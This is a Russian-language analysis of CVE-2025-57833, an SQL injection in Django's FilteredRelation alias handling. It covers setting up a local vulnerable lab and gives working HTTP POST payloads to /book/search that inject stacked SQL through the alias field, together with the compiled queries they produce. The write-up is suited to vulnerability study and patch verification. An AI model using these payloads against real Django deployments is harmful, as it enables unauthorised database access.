
Анализ и воспроизведение CVE-2025-57833
Спустя год в Django обнаружили SQL-инъекцию. На первый взгляд, инъекция вызвана алиасом (ведь алиас нельзя подготовить заранее)
Уязвимость затрагивает функциональность FilteredRelation в Django. При использовании методов QuerySet.annotate() или QuerySet.alias() с передачей псевдонимов столбцов через распаковку словаря Python (**kwargs) возникает риск SQL-инъекции. Это вызвано недостаточной проверкой ключей словаря (то есть псевдонимов столбцов), что позволяет атакующему сформировать вредоносный словарь и внедрить произвольные SQL-выражения
Затронутые версии:
Проект для воспроизведения уязвимости собирается с помощью devcontainer из VS Code
1️⃣ Откройте проект Откройте в VS Code существующий корневой каталог проекта (содержащий папку .devcontainer).
2️⃣ Переоткройте контейнер (соберите Dev Container)
Нажмите Ctrl+Shift+P (Windows/Linux) или Cmd+Shift+P (Mac)
Введите Remote-Containers: Reopen in Container
VS Code прочитает конфигурацию .devcontainer и соберёт контейнер (первая сборка может занять несколько минут)
⚠️ Если Dockerfile или зависимости были обновлены, можно выбрать Remote-Containers: Rebuild Container, чтобы использовать актуальное окружение.
3️⃣ Запустите сервер разработки Django
Откройте палитру команд Ctrl+Shift+P
Введите Tasks: Run Task
Выберите django:start (задача уже настроена в .vscode/tasks.json)
Эта задача запустит сервер разработки Django внутри контейнера
По умолчанию он будет слушать 0.0.0.0:8085
4️⃣ Откройте браузер и перейдите к проекту
Откройте браузер и перейдите по адресу:
5️⃣ Примечания
При первом запуске:
Возможно, потребуется выполнить миграцию базы данных:
python manage.py migrate
После запуска сервера перейдите по адресу http://localhost:8085
Перейдите к эндпоинту /book/search и выполните обычный запрос:
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

В этот момент Django ORM на нижнем уровне формирует следующий SQL:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
Видно, что для таблицы vuln_author создаётся алиас XXX. Судя по анализу патча выше, XXX сейчас не фильтруется, поэтому через него можно выполнить инъекцию.
При прямом использовании stacked-инъекции второй SQL не выполнится, так как первый SQL некорректен.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

Поэтому сначала нужно сделать первый запрос корректным. Так как здесь используется связь, можно напрямую применить синтаксис using.
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

На этом этапе инъекция успешно выполнена — текущим пользователем базы данных оказался postgres. SQL, скомпилированный на нижнем уровне, теперь выглядит так:
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0